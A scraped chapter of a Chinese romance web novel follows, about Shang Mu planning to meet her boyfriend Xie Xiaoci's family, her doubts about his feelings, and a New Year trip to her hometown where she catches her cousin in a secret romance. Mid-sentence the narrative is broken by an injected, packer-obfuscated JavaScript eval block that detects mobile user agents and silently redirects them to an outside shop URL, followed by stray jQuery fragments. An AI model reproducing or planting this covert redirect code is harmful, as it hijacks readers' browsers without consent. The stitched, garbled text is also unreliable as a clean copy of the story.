客厅那边传来大人们的谈笑声,放佛在谈话他,谢骁辞听得不是太全,但隐隐约约能听到自己的名字。
他有些惊讶,也有些高兴,总之就是各种情绪都涌上来,让他一瞬间都没反应过来。
商沐见他不说话,“哼”了一声,“不让我来就算了。”
“没有!”他立即反驳,“我只是有些意外,你会主动提起这个事儿。”
商沐其实也有些意外自己会说这句话,她也不知道自己怎么想的,可能是听到他说的那句“有一个优秀的女朋友”吧,就想着见见面。见一见应该也不会有什么关系的吧?
“所以可以吗?”她问。
“当然可以,非常可以!”谢骁辞高兴得要跳起来了。
商沐笑了笑,说等她抽个时间,买点礼物再去。
“买什么礼物?人来了就行。”谢骁辞说。
商沐一口否定,在自己从小的教育里,见从长辈第一面需要带礼物,不管礼物是轻还是重,这都是必不可少的一部分。
谢骁辞笑了笑,说好,听你的,最后还嘲她是个小古板。
商沐最后挑了一天下午,拉着宋宽去逛了逛。
宋宽问她,你们这算是见家长吗。
商沐脸“唰”一下红了,说见什么家长,不过就是去看看两位长辈,八字还没一撇呢,别乱说话。
宋宽撇撇嘴,说我觉得你俩就差领证了,别说一撇了,一捺都快写好了。
商沐突然眉毛一蹙,看她:“有这么明显吗?”
宋宽点头,分析起来:“你俩着谈恋爱跟别人都有点不一样。”
“哪里不一样了?”
宋宽说:“别人谈恋爱都是一起去旅行,过节,吃饭约会看电影。”商沐打断她说我们也有啊,宋宽说不一样,“你们给我的感觉就很老派,感觉你们已经结婚了十年一样!”
商沐惊了一下,突然感觉自己老了几十岁,说也没那么严重吧。宋宽耸耸肩,让她自己感觉。
晚上回到家,她给谢骁辞打了电话,无意间谈起这个话题来。
“你觉不觉得和我谈恋爱很无聊?”她问他。
谢骁辞刚洗完澡出来,一边擦头发一边认真思考这个问题。其实刚开始的时候他是觉得有点的,他以前的恋爱没这样过,两个人在一起基本上都在玩,他自己觉得谈恋爱就是在累了之后找个人陪自己玩乐子,玩爽了后就各回各家各找各妈去了。但是跟她在一起后这种想法就悄无声息地从他脑中消失了,至于变成其他什么想法,他自己也不知道。
于是他说:“没有觉得无聊,只是觉得很新奇。”
商沐皱了下眉,不懂他说的“新奇”具体表现在什么地方,让他解释一下。
谢骁辞笑了笑,单手套上短袖,说:“其实就是跟以前不太一样。但现在也挺好的,每次看到你的时候,心里都很平静。”
商沐了然地点了点头,不知道他说的这个平静是好还是不好,无言地瘪了下嘴。
“怎么突然问起这个来?”他问。
商沐说没什么,就是无聊突然想问一下,然后说自己也要去洗澡了,就把电话挂了。
电话突然一下被挂断,谢骁辞那些还没说出来的话憋了回去,皱了下眉去吹头发了。
那天晚上,商沐失眠了,躺在床上翻来覆去睡不着觉。她也不知道为什么很在意他的那个回答,但明明那个回答是真实的,也是真心的,她也希望他说真话,可是听到的时候还是觉得难过,她甚至怀疑,他是不是不太喜欢自己,或者是她跟他之前的那些前女友一样,都只是谈一谈而已。
这一想就想到了凌晨三点才睡着,第二天起来时无疑盯着双熊猫眼。
徐清依看见都吓了一跳,说你昨晚做贼去了,黑眼圈这么重。
她打了个哈欠,软趴趴地趴在沙发上,说跟做贼差不多吧。
徐清依不懂她云里雾里说什么,走到旁边“啪”的一下打在她小腿肚,让她赶快去洗漱吃饭,下午还回老家之前还要去一趟买些过年的东西。
商沐无奈,拖着疲惫的身体爬起来,去了卫生间。
她老家是南城的一个小镇,白墙灰瓦,流水潺潺,即使到了深冬也不觉得萧条。
爷爷奶奶是镇上的老教师,在几十年前教育还不发达的时候就帮助过不少人,教他们读书识字,帮他们交学费,送他们踏进大学的门槛;商正传年前的时候来在镇上当过几年老师,当时给镇上的学校提供了不少帮助,镇上的人都很感谢他们一家,瞧见他们回来了,都高兴的不得了。
“商老师徐老师回来过年了。”说话的是一位看起来四十多岁的女人,操着一口流利的本地话。
徐清依不太会说本地话,只能用普通话笑着回她:“是的大姐。”又看见她身上挑着的担子,问:“你这是要干嘛去啊?”
大姐看了看身上的担子,笑了笑说:“这不过年了嘛,赚些过年盘缠。”
“大姐辛苦了。我记得你家儿子是不是今年要考高中了?”徐清依问。
大姐忙说是,“哎哟,也不知道能不能考上重点,看他的命咯。”
“等过两天去你家拜访,我和正传帮忙参考参考。”徐清依说。
大姐一听忙放下身上的担子,又擦了擦手上的汗,一边感谢一边握手:“哎哟,谢谢你了,你们一家都是大好人!”
等大姐离开后,商沐才凑到徐清依旁边说:“我记得她家条件不是不好吗?在本地上高中不是挺好的吗?”
本地高中是普高,他家儿子的成绩能考个重点高中,要是因为家庭条件没上好的学校,那以后要是想起来岂不是会后悔一辈子。
商正传接过她手里的行李箱,说:“读书人不讲究贫富。只有肯有上进的心,家庭条件都不算是什么问题。”
商沐听完点点头,再一次对自己的父母感到敬佩。
车子进不去箱子,一家三口在镇口下车,由商沐的小叔来帮他们拿这些过年的东西。
“小叔小叔!”商沐跳起来朝正朝他们走过来的男人挥手。
商正昊笑着走了过来,上下打量商沐,“一年不见,小沐又长高了,还长好看了。”
商沐挽上他的胳膊,嘿嘿一笑,“还是小叔对我最好,一见面就夸我。不像他们两个,天天在家数落我。”说完朝徐清依和商正传做了个鬼脸。
商正昊闻言扬声“哦”了一下,说:“那你等会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605627|204068||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
儿,一定要去跟你爷爷奶奶告状。小叔可不敢骂他们,但你爷爷奶奶敢。”
商沐频频点头,说我等会儿就去把他们在家里的恶行都说出来。说完,又问他小斐和阿姨呢。
小斐就是商正昊的儿子,叫商斐。“你阿姨在做饭呢,”可能是想起前者来,忍不住“哼”了一声,说:“他?窝在房间里呢。一天天不知道在干什么。他要是有你一半让我和你阿姨省心就好了!”
商沐连忙安抚商正昊,说他只是好玩,做起正事来还是用心的。
商正昊一听到这话,就又“哼”了一声。
商沐耸了耸肩,看向徐清依和商正传。
商正传给了她一眼眼神,拉着自己弟弟说教去了。大概就是说一些教育孩子不能急的话吧。
商沐觉得此地不宜久留,背上自己的小包一溜烟儿地跑了。
商沐进了院子,便听见厨房里的声音,跑到厨房窗口,笑眯眯地喊了声:“阿姨!”
商正昊的妻子宋慧闻声抬起头,看清了人后立马笑了起来,“小沐回来了!”本来想要拥抱一下的,但看了眼自己还系着围裙就把抬起的手放下了。
商沐正准备挽起袖子进去帮忙,一下子就给她推了出来,“哎哟,别进来忙活了,快自己去玩。你爸妈呢?”
商沐说在后面,她自己先过来了。
宋慧“哦”了声,让她过去玩,别在厨房这边呆着了。
她点了点头,说好吧,朝客厅那边走。
进了门没发现爷爷奶奶,在屋子里转了一圈也没看见,索性转头上了二楼。刚上去就听见隐隐约约的说话声,好像是在打电话,她凑近一听,原来是商斐在打电话。
好奇心作祟,她靠在门边听了会儿。
商斐:“你今天早上吃了什么呀?”
商斐:“你都不知道我老家网差得很,开视频都得缓半天。”
商斐:“好想你,我这辈子都没想过早点开学。”
这一听,让她鸡皮疙瘩落了一地。
好腻歪。
她折身下了楼,坐在客厅里看起了高中群里的消息。
没过一会儿,商斐就满面春光地下楼了。
商沐撇了一眼,道:“哟,电话打完了。”
商斐眉毛一跳,“我去,你怎么知道的。”
商沐心里噗呲一笑,装模作样地学起来:“我好想你啊~什么时候开学~”
商斐脸“唰”一下红了,指责她偷听别人打电话不礼貌。
“你怎么不说你那么大声打电话影响公共场合呢?”
从小到大,商斐都说不过她,说我不跟你计较了,但是你不能告诉我爸妈。
“哦,那你求我。”
商斐真真地跑过去求她:“姐,我求你了。我爸妈知道我早恋会打断我的腿的。”
商斐虽然满了十八岁,但今年上高三,也确实是在早恋。
商沐若有所思了一会儿,说行啊,我帮你保密,但你帮我解答个问题。
商斐一脸不信她会替自己保密,看她:“什么问题?”
“你帮姐姐解答一下,如果一个爱玩的男生突然和一个很乖的女生谈恋爱,这说明了什么?”